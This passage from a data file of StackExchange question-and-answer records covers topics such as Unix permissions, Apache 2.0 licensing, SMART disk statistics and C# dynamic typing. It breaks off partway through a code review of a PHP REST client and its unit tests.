createCommand        val createdAccountF: Future[Option[Account]] = accountService.createAccount(companyId, account)        createdAccountF.map {          case Some(a) => Created(a.id)          case None => InternalServerError(Unable to create Account)        }.recover {          case e => BadRequest(e.getMessage)        }      }    )  }}object Companies extends Companies(new AccountService(new AccountDAO()))(play.api.libs.concurrent.Execution.defaultContext)"  } 
{  "id": "_softwareengineering.56690"  , "question": "Aside from using IDEs such as MonoDevelop, what combination of tools do you use in Mono development to give you the same productivity boost that one would normally gain by using R# in VS2010?EDIT: I'm trying to kick the R# habit and switch to Mono development in Linux, but it's hard to kick the habit of using VS2010 + R#, and I need alternative tools to break that habit."  , "title": "What development tools would you recommend for developing .NET apps in Mono that would give me the same productivity boost as Resharper?"  , "tags": "mono;resharper;linux development"  , "accepted_answer": "Currently, there is none.  Here is the same question on Stackoverflow.  Currently there are several bounties offering a reward for a R# port to MonoDevelop, but nothing yet, unfortunately."  } 
{  "id": "_datascience.10204"  , "question": "When implementing mini-batch gradient descent for neural networks, is it important to take random elements in each mini-batch? Or is it enough to shuffle the elements at the beginning of the training once?(I'm also interested in sources which definitely say what they do.)"  , "title": "Should I take random elements for mini-batch gradient descent?"  , "tags": "machine learning;neural network"  , "accepted_answer": "It should be enough to shuffle the elements at the beginning of the training and then to read them sequentially. This really achieves the same objective as taking random elements every time, which is to break any sort of predefined structure that may exist in your original dataset (e.g. all positives in the beginning, sequential images, etc).While it would work to fetch random elements every time, this operation is typically not optimal performance-wise. Datasets are usually large and are not saved in your memory with fast random access, but rather in your slow HDD. This means sequential reads are pretty much the only option you have for good performance.Caffe for example uses LevelDB, which does not support efficient random seeking. See https://github.com/BVLC/caffe/issues/1087, which confirms that the dataset is trained with images always in the same order."  } 
{  "id": "_unix.320389"  , "question": "One of our users mistakenly copied some system directories (e.g., /lib) to her home directory, using command cp -r /lib ., and then she cannot delete these directories. Command rm -rf ./lib returns a list of errors saying Permission denied (one for each file, I think). I am sure both the copy and delete commands use same username, and no permission changes of any kind happened in between.I can probably delete these directories using root privilege, but I would like to know why is this happening. Is this a bug of the Centos 6.8 we use? Or why a user cannot delete the directories she created in her home directory?"  , "title": "Unable to delete directories copied from elsewhere centos 6"  , "tags": "files;permissions;cp"  , "accepted_answer": "cp -r copies permission modes by default. So if /lib was not owner-writable, ./lib will not be writable, either. Trying to remove the contents of a non-writable directory gets permission denied, even if you're the owner of it. You can fix the permissions with chmod -R u+w ./lib.Here's a demo:barmar@dev:~/test.dir$ mkdir subdirbarmar@dev:~/test.dir$ touch subdir/foobarmar@dev:~/test.dir$ chmod a-w subdirbarmar@dev:~/test.dir$ cp -r subdir newsubdirbarmar@dev:~/test.dir$ rm -rf newsubdirrm: cannot remove `newsubdir/foo': Permission deniedbarmar@dev:~/test.dir$ chmod a+w newsubdirbarmar@dev:~/test.dir$ rm -rf newsubdirbarmar@dev:~/test.dir$ "  } 
{  "id": "_softwareengineering.87728"  , "question": "When working on a product that needs to be done soon and work well, when is it OK to sacrifice maintainability and neatness of design in order to get the thing done and out the door quickly?  And to what degree is it OK, especially when the techniques used to make it neat are new to me?"  , "title": "When is it OK to sacrifice the neatness of the design to get a project done?"  , "tags": "design"  , "accepted_answer": "Remember that you are employed in order to support a business.  In some way, your software is affecting the bottom line of the business.  You need to strike a balance between a technically perfect solution, and the time to market of your product and how much benefit the business will derive from it.In my experience developers often get hung up on worrying about technical perfection.  But there are very valid reasons to sacrifice quality attributes such as maintainability or performance in order to get a product out the door quicker.  It depends on the business and the product.  But always strive for a perfect design is too simplistic an approach.At the end of the day, the only thing that matters is value to the business.  Figure out how to maximize it in the short and long term and aim for that target."  } 
{  "id": "_webmaster.33275"  , "question": "So I have a website/blog which I have hosted with a service which is offering me 2000mb of monthly bandwidth traffic.I recently have started getting a lot of traffic, or I suppose, enough to push me quite close to the cap. I am already at 79% for August and it is practically all due to the HTTP traffic component!I noticed that the bandwidth traffic really spikes during the days of a new post. Also, I do have videos from Vimeo embedded in my posts, so I am not sure if loading those on my page counts towards the bandwidth.So what can I possibly do? And is this high usage actually just from people visiting and loading my blog post in their browser? Do you have any suggestions which would significantly reduce the bandwidth usage?I can't afford to raise the bandwidth cap either. For reference, I have an installation of Wordpress running on my website.Thank you."  , "title": "cPanel Monthly Bandwidth Traffic - HTTP Traffic Extremely High"  , "tags": "traffic;http;bandwidth;high traffic;usage data"  , "accepted_answer": "Have you checked your access log / webstats? Is this reporting a higher number of visitors to match the bandwidth usage? Are you getting an increased amount of bot traffic? Rogue bots can perhaps be blocked in .htaccess if this is an issue.Are your images optimised?Have you enabled gzip compression for your pages? This can drastically cut the size (and speed) of your HTML pages, CSS and JavaScript.Are you making the most of browser caching? Setting expiration date headers in the future for static content/resources.I do have videos from Vimeo embedded in my posts, so I am not sure if  loading those on my page counts towards the bandwidth.This itself should not count directly against your bandwidth."  } 
{  "id": "_scicomp.7895"  , "question": "The discrete analogue of the $L_p$ norm for the mesh function $V$ is $$\\|V\\|_{l^p(\\bar{\\Omega}^N)}=\\left(\\sum_{i=0}^NV_i^p\\bar{h}_i\\right)^{1/p}$$ where $\\bar{\\Omega}^N$ is an arbitrary mesh, $\\bar{h}_i=(h_{i+1}+h_i)/2$ and $h_i=x_i-x_{i-1}$. The error $e$ of a certain approximation is such that $e_i=-e^{-x_i/\\epsilon}$ for $1\\leq i\\leq N-1$ and 0 for $i=0$ or $i=N$ For any $p$, $1\\leq p\\leq \\infty$ the $l^p(\\bar{\\Omega}^N)$ norm of the error on a general non-uniform mesh is $$\\|e\\|_{l^p(\\bar{\\Omega}^N)}=\\left(\\sum_{i=1}^{N-1}e^{-px_i/\\epsilon}\\bar{h}_i\\right)^{1/p}$$My first question is why is this expression $O(N^{-1/P})$.On a uniform mesh, why is $$\\left\\vert {e_i}^p\\right\\vert \\leq N\\sum_{j=1}^{N-1}\\left\\vert e_j\\right\\vert^ph$$ How does this imply $$\\|e\\|_{\\bar{\\Omega}^N}\\leq N^{1/P}\\|e\\|_{l^p(\\bar{\\Omega}^N)}$$"  , "title": "discrete versions of Lp norm"  , "tags": "singular perturbation"  } 
{  "id": "_opensource.2782"  , "question": "I have a question about the NOTICE and CHANGELOG files in Apache 2.0 license.Here is the situation: I based my work on an Apache 2.0 licensed project. I did some minor changes (compared to the original work). It seems that I have two problems:According to the Apache 2.0 license, I have to include NOTICE file if it was in the original work. The problem is, that the notice file in the original work was probably never updated and is possibly incorrect as it does not include notices about library dependencies. Do I have to fix this myself or is it enough to just add the dependencies that were introduced by my changes?The license also requires that I state changes. The original work did not have any CHANGELOG file and changes were tracked in git (which I guess is not sufficient for the needs of the license). How and in what detail do I state the changes in this situation?(Bonus question) Because my work will most likely never be merged back to original project git repository I would like to be stated as one of the authors if possible. I suppose, that I add the mandatory license header to the files that I added to the project, but what about the changes in the files that I only modified? Should I add myself to the NOTICE file? I am not sure how would this look like so any example would be appreciated.Also, I will not distribute it in binary form. Only the source code.I understand, that this has already been discussed, but I am not sure what to do in a situation like this.EDIT: As suggested, this is the project: https://github.com/brianfrankcooper/YCSBEDIT: Please see comments under Thomas' answer if you need more clarification :)"  , "title": "Apache 2.0 license - NOTICE, CHANGELOG"  , "tags": "apache 2.0;license notice"  , "accepted_answer": "Let's break this down.According to the Apache 2.0 license, I have to include NOTICE file if it was in the original work. The problem is, that the notice file in the original work was probably never updated and is possibly incorrect as it does not include notices about library dependencies. Do I have to fix this myself or is it enough to just add the dependencies that were introduced by my changes?You do not need to continue to carry a NOTICE file. Section 4d allows you to include the attribution notices in a NOTICE file, within the source or documentation if it is provided alongside the derivative work, or within a display generated by the derivative work. Specifically, the last sentence of 4d allows you to add your own attribution text alongside (by modifying the NOTICE file) or as an addendum to the NOTICE text (putting both in the same file, within another document, or in a display generated by the derivative work).Since you're stating that the original NOTICE file is wrong, I would consider doing an addendum by either adding a second NOTICE file that is fully correct, by using one file and calling out which was the NOTICE from the original project and which content is related to your derivative work, or in a display and calling out which was the original NOTICE text and which was your NOTICE text. Regardless - make sure that your NOTICE text is fully correct and don't modify the original project's NOTICE text at all.The license also requires that I state changes. The original work did not have any CHANGELOG file and changes were tracked in git (which I guess is not sufficient for the needs of the license). How and in what detail do I state the changes in this situation?A CHANGELOG is not required by Apache. The only mention of requirements related to changes is in 4b, which states that if you modify a file, that file must carry a prominent notice that the file has been changed. Typically, in a project that is using the Apache License (at least those released by the Apache Software Foundation), the top of each file will contain the boilerplate header. The method used to state that a file was changed is to add a new copyright line under the original one. If you are applying a new license to the changes, you would indicate this in the boilerplate header section as well.Assuming that the initial commit to your git repository was the original work and every revision was your contribution to a derivative work, I think that this is sufficient. You are meeting the requirement of 4b by stating that a file has changed. There is no requirement to further identify changes beyond a file level, but your version control repository would allow for that, if necessary.Because my work will most likely never be merged back to original project git repository I would like to be stated as one of the authors if possible. I suppose, that I add the mandatory license header to the files that I added to the project, but what about the changes in the files that I only modified? Should I add myself to the NOTICE file? I am not sure how would this look like so any example would be appreciated.When you modify the boilerplate header, you would add your name. If you are keeping the Apache License for your work, you don't need to do anything else. If you are going to apply a different license, then you do need to identify the license for your contributions to mark off what is Apache License and what is under the other license.The NOTICE file is only used for attribution to other people. For example, if you are including other projects in yours, the NOTICE file or NOTICE text somewhere else, clearly identifies these other projects and the license that they are under. Modifying the NOTICE file to point back to the original project that yours is a derivative work of would also be appropriate."  } 
{  "id": "_unix.322341"  , "question": "I recently used a utility on Linux that reported the number of shutdowns / restarts that a hard disk had gone through (I believe the terminology used was power cycles) but I can't seem to recall which one.Is there a way to obtain to information on a given disk's age and number of shutdowns / restarts it has gone through ?"  , "title": "how to see how many power-down / power-up cycles a drive has gone through?"  , "tags": "hard disk"  , "accepted_answer": "Drives give this information via SMART. You can retrieve it using smartctl (in smartmontools):smartctl -a /dev/sdaThis will output quite a lot of information, including:  9 Power_On_Hours          0x0032   100   100   001    Old_age   Always       -       36065 12 Power_Cycle_Count       0x0032   100   100   001    Old_age   Always       -       175which shows that this particular drive has been powered on (in total) for 36,065 hours, and powered on 175 times."  } 
{  "id": "_softwareengineering.122022"  , "question": "I am just starting out learning Visual Basic 2010. I have books and videos. The books all seem to be written for people who have some programming experience, even the books that say they are for beginners.  The videos were great until they started talking about variables. I got the basics of them but they started into complicated variables and I dont see the need for them right away.  Where can I go to see code for fairly intricate applications written out, with an over lay of definitions of which part of the code is a method as opposed to a class and so on?  Also, I am working at a company that does not use SQL. So I need to use Access 2007 for all of my tables. Is there much of a difference to the coding?"  , "title": "Where can I get a definition of how the code is laid out in VB.NET 2010?"  , "tags": "vb.net"  } 
{  "id": "_unix.285319"  , "question": "In bash how can I issue a command to a running process I just started?For example;# Start Bluez gatttool then Connect to bluetooth device gatttool -b $MAC -Iconnect # send 'connect' to the gatttool process?Currently my shell script doesn't get to the connect line because the gatttool process is running."  , "title": "Send command to already running process in shell script"  , "tags": "linux;bash;shell;expect"  } 
{  "id": "_webapps.91014"  , "question": "I am sure that you all know that Google offers the free backup of photos through their Google Photos App.  I've since found out that the free backup, as Google advertises, with reduced photo quality only reduces quality for photos that are greater than 16MP - https://support.google.com/photos/answer/6220791?hl=enMy phone is my main source of backup and it shoots at 12MP so it should be full quality backup as far as I understand.  The other thing is that Google Photos are now integrated into Google Drive.  At the root of my Google Drive I have a folder called Google Photos, which organized all my backed up photos by year and month (this is awesome!).  My question comes in here.  Is there a way that I can tell the size on disk of my Google Photos folder?  Basically I am going to start a sync to a computer of my Google Drive but I don't want to sync all of those Photos, it'll take forever and potentially a huge amount of disk space and bandwidth.To make matters worse I am using a third party application, called grive, that will do the sync to my Ubuntu laptop.  I am not sure if the Windows and Mac official Google Drive sync apps have more options but this one doesn't have the option to exclude a folder."  , "title": "Google Photos Backup Size"  , "tags": "google drive;google photos;synchronization"  } 
{  "id": "_unix.16460"  , "question": "let's present my problem to explain better. I'm using cygwin, the installation is based on a setup.ini with the following format:      @ package-name    sdesc: short description, on one line    ldesc: long description of arbitrary length, commonly multiple lines    category: categories in which the packege belonges, one line    requires: packages (libs etc) required by this package, one linethen comes the following package, & so forth.what I need is, given a package name output all packages required by this package (without the 'requires' prefix, if possible).I'm sure it's basic grep, but I'm new there.  thanks."  , "title": "find first line beginning with  following "  , "tags": "grep;search;cygwin"  , "accepted_answer": "I am not sure how will you do it with grep, but for such tasks I prefer awk. It gives more control over what I want to do. though I am not expert in awk and still learning but here is how I would have achieved this.PKGNAM=package-name; awk /$PKGNAM\\$/,/requires:/ { if ( \\$0 ~ /requires:/ ) { sub( /^requires:.?/, \\\\  ); print } }UPDATE: updated the example awk command, now it uses the PKGNAM variable to match the pacakge name.HTH."  } 
{  "id": "_softwareengineering.80915"  , "question": "Suppose I have two lists of N 3 by 3 vectors of integers.I need to find a quick way (say of running time at most N^(1+epsilon)) to find the vectors of the first list that have the same 1st coordinate with a vector of the second list.Of course, I could do the following naive copmarison:for u in list_1 dofor v in list_2if u[1] equals v[1] thenprint u;print v;end if;end for; end for;This, however, would require N^2 loops. I feel that sorting the two lists according to their first coordinateand then look up for collisions is perhaps a fast way. Bubbleshort, etc., would probably take logN time, but I can't really see how to code the search for collision between the sorted lists.Any help would be appreciated. "  , "title": "Fast algorithm for finding common elements of two sorted lists"  , "tags": "sorting;pseudocode"  } 
{  "id": "_softwareengineering.256566"  , "question": "I'm making a class similar to the following:public class KeyValue{    public readonly string key;    public readonly object value;}Value could be of any object type as a result of this design.Alternatively, I could just use dynamic for value and it'll make my life easier, because it would mean no type-casting, and also because, as far as I understand, I could use value types without needing to box/unbox.Is there any reason not to use dynamic and to use object instead? Because I can't think of any.Note: I realize generics are much more suited for this, but it doesn't work for my needs. The above is really a simplification just for the purposes of this question."  , "title": "When to not use dynamic in C#"  , "tags": "c#;object oriented;polymorphism;dynamic typing;boxing"  , "accepted_answer": "If you can't think of a good reason TO use dynamic, then you are foregoing potential compile time checks for little to nothing in return.I prefer generics over object, and prefer object over dynamic, unless I need to interact with a dynamic language ScriptEngine or a dynamic container like a web form where its reasonable to handle the potential runtime exceptions when I access a missing field. Generics will perform best; and with object, you are at least signifying your intentions are to store any sort of object in the same container. Dynamic is not an actual type, and it isn't object so it should never be used to mean any sort of object, it should actually be used when you know what the object's contract is (method/property signature's); it is a runtime dispatch vehicle for keeping the same, convenient syntax for a type-unsafe (or at least dynamically bound) activity. It's like saying:OK, I know the activity I'm doing is subject to runtime dispatch and  runtime errors, so give me the syntactical sugar anywayWhen I see dynamic, I usually assume there is an imminent:method call dispatch to a dynamically bound type (like an IronPython variable)  access to dynamic form data with property syntax in an MVC controllerThough another legit use for it is to use the dynamic dispatch capability to implement the Visitor Pattern, although traditional virtual methods are likely faster.class FooVisitor {     void Accept(Expression node) { ... }     void Accept(Statement node) { ... }}foreach(dynamic node in ASTNodes) {    visitor.Accept(obj);  // will be dispatched at runtime based on type of each obj}Don't use it when:Performance is numero unoStatic type checking is desirable for more robust runtimeThe types can be derived at compile timeA generic type will doIf used unnecessarily, dynamic can actually reduce the robustness of your code by changing C# to a dynamic scripting language."  } 
{  "id": "_unix.334624"  , "question": "On my system, when running the following snippet of C++ code compiled with either clang or gcc#include <cstdio>#include <SDL2/SDL.h>int main(int argc, char** args){    printf(Hi);    SDL_Init(SDL_INIT_VIDEO);    SDL_CreateWindow(, 0, 0, 800, 600, 0);    printf(Bye);}then I get the following output at runtimeprocess 9360: arguments to dbus_connection_open_private() were incorrect, assertion address != NULL failed in file dbus-connection.c line 2664.This is normally a bug in some application using the D-Bus library.D-Bus not built with -rdynamic so unable to print a backtraceHiI have had this same problem when attempting to compile and run SDL2 code which has worked on another machine, although running the binary works if it is compiled on that machine.This leads me to believe it is a problem with this machine.I am running Antergos Linux and should be on the latest versions of SDL2 and D-Bus (I run updates regularly through pacman). I would appreciate any help and would be happy to answer any further questions, thank you."  , "title": "D-Bus related runtime crash when trying to open SDL2 window"  , "tags": "arch linux;c++;crash;d bus;antergos"  } 
{  "id": "_unix.235329"  , "question": "I ran nmap -Pn on all possible addresses for the local network and it took 50 minutes. If I limit the range to 100-200, for example, the same scan takes 3-4 minutes.Why is the full nmap scan taking so long and how can I make it quicker?"  , "title": "nmap scan takes 50 minutes"  , "tags": "nmap"  } 
{  "id": "_unix.371475"  , "question": "I have just registered here.I am working on a script which puts data in an array into separate variables.Example: for((i=0; i < Counter; i++)); do    while read -r Parmfilesjobid; do        IFS=$'\\n' read -d '' -r -a  job$i < ${Parmfilesjobid[$i]}    done <<< ${Parmfilesjobid} doneThe counter is a seperate variable because the number of times the for loop has to run can differ.As $I is incremented every time, I am trying to find out how I can turn the job$i into job0, job1, job2.This because every job$i contains seperate values.When i use:echo ${job1[@]}echo ${job2[@]}echo ${job3[@]}I can get the correct output per job$i (job0, job1, job2)But i want bash to convert the job$i into job0,job1,job2 so i can use them in another loop as seperate variables."  , "title": "Increment the last part of a variable name"  , "tags": "bash;shell;scripting"  } 
{  "id": "_cs.60157"  , "question": "I know the maths behind, I know if I do the algebra I can get the result of the 3 cases. I also have an intuition of the 3 cases: QuoraHowever, I just cannot memorize this simple 3 cases whenever I need to apply them in real life problems.I don't know if it is a shame that a CS graduate has to Google this theorem, which I learnt at the first year in University, just because I cannot memorize it. (Or is it actually no need to memorize it, please tell me, I will close the question at once)So assuming this basic theorem is important and I have to memorize it just like how we memorize F = ma in physics field, is there any way to aid memorizing these 3 cases in long term speaking? A way may means visualization, better intuition with clear reasoning behind, or even just die hard memorizing it, I just want to know how other CS people memorize this theorem."  , "title": "How to memorize Master Theorem?"  , "tags": "education;didactics"  , "accepted_answer": "I have a confession for you.  I often can't remember the Master theorem, either.  Don't worry about it.  It's not a big deal.Here's how I deal with it.  In many situations, you can look it up each time you need it; and if so, no big deal.Occasionally, you might not be able to look it up.  So, I taught myself how to derive the Master theorem.  That might sound intimidating, but it's not as hard as it sounds.  Personally, I find memorization hard, but if I can figure out how to re-derive the formula myself whenever I need it, I know I'm in good shape.So, my advice to you is: learn how to re-derive the Master theorem on your own, whenever you need it.  Here's one way you could do that:First, learn the recursion tree method.  Learn how to build the tree, how to count the number of leaves, and how to count the amount of extra work at each level, and how to sum them (by summing a series, e.g., a geometric series).Next, open up a textbook read a standard proof of the Master theorem.  Work through each step and check that you understand what's happening.Now, close your textbook and put away all your resources.  Put a blank piece of paper in front of you... and derive the Master theorem yourself.  How do you do that?  Well, you use the recursion tree method.  Try working through it by yourself and try to solve the recurrence entirely on your own.  If you get stuck, as a last resort you can open the textbook back up and see how to proceed from there... but then the next day, you should try this exercise again.If you understand the recursion tree method well, you should be able to get to the point where you can derive the Master theorem yourself, from scratch, using just a blank piece of paper and nothing more."  } 
{  "id": "_codereview.157169"  , "question": "This code review request relates to this code review which covers the basic single REST call use case in this this REST client library.This code review covers the classes and unit tests for the multiple parallel REST call functionality provided by the library, which leverage the PHP cURL extension's curl_multi_* functionality.You might find it useful to read the library's README file before performing this review for further background and usage examples, which I have omitted here for brevity and to allow the question to focus on the code.RestMultiClient class<?phpnamespace MikeBrant\\RestClientLib;/*** @desc Class which extendd RestClient to provide curl_multi capabilities, allowing for multiple REST calls to be made in parallel.*/class RestMultiClient extends RestClient{    /**     * Store array of curl handles for multi_exec     *      * @var array     */    private $curlHandles = array();    /**     * Stores curl multi handle to which individual handles in curlHandles are added     *      * @var mixed     */    private $curlMultiHandle = null;    /**     * Variable to store the maximum number of handles to be used for curl_multi_exec     *      * @var integer     */    private $maxHandles = 10;    /**     * Variable to store an array of request headers sent in a multi_exec request     *      * @var array     */    private $requestHeaders = array();    /**     * Variable to store an array of request data sent for multi_exec POST/PUT requests.     *      * @var array     */    private $requestDataArray = array();    /**     * Variable to store CurlMultiHttpResponse object     *      * @var CurlMultiHttpResponse     */    private $curlMultiHttpResponse = null;    /**     * Constructor method. Currently there is no instantiation logic.     *      * @return void     */    public function __construct() {}    /**     * Method to perform multiple GET actions using curl_multi_exec.     *      * @param array $actions     * @param integer $maxHandles     * @return RestMultiClient     * @throws \\Exception     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    public function get($actions) {        $this->validateActionArray($actions);        // set up curl handles        $this->curlMultiSetup(count($actions));        $this->setRequestUrls($actions);        foreach($this->curlHandles as $curl) {            curl_setopt($curl, CURLOPT_HTTPGET, true); // explicitly set the method to GET            }        $this->curlMultiExec();        return $this->curlMultiHttpResponse;    }    /**     * Method to perform multiple POST actions using curl_multi_exec.     *      * @param array $actions     * @param array $data     * @return RestMultiClient     * @throws \\Exception     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    public function post($actions, $data) {        $this->validateActionArray($actions);        $this->validateDataArray($data);        // verify that the number of data elements matches the number of action elements        if (count($actions) !== count($data)) {            throw new \\LengthException('The number of actions requested does not match the number of data elements provided.');         }        // set up curl handles        $this->curlMultiSetup(count($actions));        $this->setRequestUrls($actions);        $this->setRequestDataArray($data);        foreach($this->curlHandles as $curl) {            curl_setopt($curl, CURLOPT_POST, true); // explicitly set the method to POST         }        $this->curlMultiExec();        return $this->curlMultiHttpResponse;    }    /**     * Method to perform multiple PUT actions using curl_multi_exec.     *      * @param array $actions     * @param array $data     * @return RestMultiClient     * @throws \\Exception     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    public function put($actions, $data) {        $this->validateActionArray($actions);        $this->validateDataArray($data);        // verify that the number of data elements matches the number of action elements        if (count($actions) !== count($data)) {            throw new \\LengthException('The number of actions requested does not match the number of data elements provided.');         }        // set up curl handles        $this->curlMultiSetup(count($actions));        $this->setRequestUrls($actions);        $this->setRequestDataArray($data);        foreach($this->curlHandles as $curl) {            curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT'); // explicitly set the method to PUT         }        $this->curlMultiExec();        return $this->curlMultiHttpResponse;    }    /**     * Method to perform multiple DELETE actions using curl_multi_exec.     *      * @param array $actions     * @param integer $maxHandles     * @return RestMultiClient     * @throws \\Exception     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    public function delete($actions) {        $this->validateActionArray($actions);        // set up curl handles        $this->curlMultiSetup(count($actions));        $this->setRequestUrls($actions);        foreach($this->curlHandles as $curl) {            curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE'); // explicitly set the method to DELETE        }        $this->curlMultiExec();        return $this->curlMultiHttpResponse;    }    /**     * Method to perform multiple HEAD actions using curl_multi_exec.     *      * @param array $actions     * @return RestMultiClient     * @throws \\Exception     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    public function head($actions) {        $this->validateActionArray($actions);        // set up curl handles        $this->curlMultiSetup(count($actions));        $this->setRequestUrls($actions);        foreach($this->curlHandles as $curl) {            curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'HEAD');            curl_setopt($curl, CURLOPT_NOBODY, true);        }        $this->curlMultiExec();        return $this->curlMultiHttpResponse;    }    /**     * Sets maximum number of handles that will be instantiated for curl_multi_exec calls     *      * @param integer $maxHandles     * @return RestMultiClient     * @throws \\InvalidArgumentException     */    public function setMaxHandles($maxHandles) {        if (!is_integer($maxHandles) || $maxHandles <= 0) {            throw new \\InvalidArgumentException('A non-integer value was passed for max_handles parameter.');             }        $this->maxHandles = $maxHandles;        return $this->curlMultiHttpResponse;    }    /**     * Getter for maxHandles setting     *      * @return integer     */    public function getMaxHandles() {        return $this->maxHandles;    }    /**     * Method to set up a given number of curl handles for use with curl_multi_exec     *      * @param integer $handlesNeeded     * @return void     * @throws \\Exception     */    private function curlMultiSetup($handlesNeeded) {        $multiCurl = curl_multi_init();        if($multiCurl === false) {            throw new \\Exception('multi_curl handle failed to initialize.');        }        $this->curlMultiHandle = $multiCurl;        for($i = 0; $i < $handlesNeeded; $i++) {            $curl = $this->curlInit();            $this->curlHandles[$i] = $curl;            curl_multi_add_handle($this->curlMultiHandle, $curl);        }    }    /**     * Method to reset the curlMultiHandle and all individual curlHandles related to it.     *      * @return void     */    private function curlMultiTeardown() {        foreach ($this->curlHandles as $curl) {            curl_multi_remove_handle($this->curlMultiHandle, $curl);            $this->curlClose($curl);        }        curl_multi_close($this->curlMultiHandle);        $this->curlHandles = array();        $this->curlMultiHandle = null;    }    /**     * Method to execute curl_multi call     *      * @return void     * @throws \\Exception     */    private function curlMultiExec() {        // start multi_exec execution        do {            $status = curl_multi_exec($this->curlMultiHandle, $active);        } while ($status === CURLM_CALL_MULTI_PERFORM || $active);        // see if there are any errors on the multi_exec call as a whole        if($status !== CURLM_OK) {            throw new \\Exception('curl_multi_exec failed with status ' . $status . '');        }        // process the results. Note there could be individual errors on specific calls        $this->curlMultiHttpResponse = new CurlMultiHttpResponse();        foreach($this->curlHandles as $i => $curl) {            try {                $response = new CurlHttpResponse(                    curl_multi_getcontent($curl),                    curl_getinfo($curl)                );            } catch (\\InvalidArgumentException $e) {                $this->curlMultiTeardown();                throw new \\Exception(                   'Unable to instantiate CurlHttpResponse. Message: ' . $e->getMessage() . '',                   $e->getCode(),                   $e                );            }            $this->curlMultiHttpResponse->addResponse($response);        }        $this->curlMultiTeardown();    }    /**     * Method to reset all properties specific to a particular request/response sequence.     *      * @return void     */    protected function resetRequestResponseProperties() {        $this->$curlMultiHttpResponse = null;        $this->requestHeaders = array();        $this->requestDataArray = array();    }    /**     * Method to set the urls for  multi_exec action     *      * @param array $actions     * @return void     */    private function setRequestUrls(array $actions) {        for ($i = 0; $i < count($actions); $i++) {            $url = $this->buildUrl($actions[$i]);            $this->requestUrls[$i] = $url;            curl_setopt($this->curlHandles[$i], CURLOPT_URL, $url);        }       }    /**     * Method to set array of data to be sent along with multi_exec POST/PUT requests     *      * @param array $data     * @return void     */    private function setRequestDataArray(array $data) {        for ($i = 0; $i < count($data); $i++) {            $data = $data[$i];            $this->requestDataArray[$i] = $data;            curl_setopt($this->curlHandles[$i], CURLOPT_POSTFIELDS, $data);        }    }    /**     * Method to provide common validation for action array parameters     *      * @param array $actions     * @return void     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    private function validateActionArray(array $actions) {        if(empty($actions)) {            throw new \\InvalidArgumentException('An empty array was passed for actions parameter.');        }        if(count($actions) > $this->maxHandles) {            throw new \\LengthException('Length of actions array exceeds maxHandles setting.');        }        foreach($actions as $action) {            $this->validateAction($action);        }    }    /**     * Method to provide common validation for data array parameters     *      * @param array $data     * @return void     * @throws \\InvalidArgumentException     * @throws \\LengthException     */    private function validateDataArray(array $data) {        if(empty($data)) {            throw new \\InvalidArgumentException('An empty array was passed for data parameter');        }        if(count($data) > $this->maxHandles) {            throw new \\LengthException('Length of data array exceeds maxHandles setting.');        }        foreach($data as $item) {            $this->validateData($item);        }    }}RestMultiClient unit tests<?phpnamespace MikeBrant\\RestClientLib;use PHPUnit\\Framework\\TestCase;/** * Mock for curl_multi_init global function *  * @return mixed */function curl_multi_init() {    if (!is_null(RestMultiClientTest::$curlMultiInitResponse)) {        return RestMultiClientTest::$curlMultiInitResponse;    }    return \\curl_multi_init();}/** * Mock for curl_multi_exec global function *  * @param resource curl_multi handle * @param integer flag indicating if there are still active handles. * @return integer */function curl_multi_exec($multiCurl, &$active) {    if (is_null(RestMultiClientTest::$curlMultiExecResponse)) {        return \\curl_multi_exec($multiCurl, $active);    }    $active = 0;    return RestMultiClientTest::$curlMultiExecResponse;}/** * Mock for curl_multi_getcontent global function *  * @param resource curl handle * @return string */function curl_multi_getcontent($curl) {    if (!is_null(RestMultiClientTest::$curlMultiGetcontentResponse)) {        return RestMultiClientTest::$curlMultiGetcontentResponse;    }    return \\curl_multi_getcontent($curl);}/** * This is hacky workaround for avoiding double definition of this global method override * when running full test suite on this library. */if(!function_exists('\\MikeBrant\\RestClientLib\\curl_getinfo')) {    /**     * Mock for curl_getinfo function     *      * @param resource curl handle     * @return mixed     */    function curl_getinfo($curl) {        $backtrace = debug_backtrace();        $testClass = $backtrace[1]['class'] . 'Test';        if (!is_null($testClass::$curlGetinfoResponse)) {            return $testClass::$curlGetinfoResponse;        }        return \\curl_getinfo($curl);    }}class RestMultiClientTest extends TestCase{    public static $curlMultiInitResponse = null;    public static $curlMultiExecResponse = null;    public static $curlMultiGetcontentResponse = null;    public static $curlGetinfoResponse = null;    protected $client = null;    protected $curlMultiExecFailedResponse = CURLM_INTERNAL_ERROR;    protected $curlMultiExecCompleteResponse = CURLM_OK;    protected $curlGetinfoMockResponse = array(        'url' => 'http://google.com/',        'content_type' => 'text/html; charset=UTF-8',        'http_code' => 200,        'header_size' => 321,        'request_size' => 49,        'filetime' => -1,        'ssl_verify_result' => 0,        'redirect_count' => 0,        'total_time' => 1.123264,        'namelookup_time' => 1.045272,        'connect_time' => 1.070183,        'pretransfer_time' => 1.071139,        'size_upload' => 0,        'size_download' => 219,        'speed_download' => 194,        'speed_upload' => 0,        'download_content_length' => 219,        'upload_content_length' => -1,        'starttransfer_time' => 1.122377,        'redirect_time' => 0,        'redirect_url' => 'http://www.google.com/',        'primary_ip' => '216.58.194.142',        'certinfo' => array(),        'primary_port' => 80,        'local_ip' => '192.168.1.74',        'local_port' => 59733,        'request_header' => GET / HTTP/1.1\\nHost: google.com\\nAccept: */*,    );    protected function setUp() {        self::$curlMultiInitResponse = null;        self::$curlMultiExecResponse = null;        self::$curlMultiGetcontentResponse = null;        self::$curlGetinfoResponse = null;        $this->client = new RestMultiClient();    }    protected function tearDown() {        $this->client = null;    }    /**     * @expectedException \\InvalidArgumentException     * @covers MikeBrant\\RestClientLib\\RestMultiClient::validateActionArray     */    public function testValidateActionArrayThrowsExceptionOnEmptyArray() {        $this->client->get(array());    }    /**     * @expectedException \\LengthException     * @covers MikeBrant\\RestClientLib\\RestMultiClient::validateActionArray     */    public function testValidateActionArrayThrowsExceptionOnOversizedArray() {        $maxHandles = $this->client->getMaxHandles();        $this->client->get(            array_fill(0, $maxHandles + 1, 'action')        );    }    /**     * @expectedException \\InvalidArgumentException     * @covers 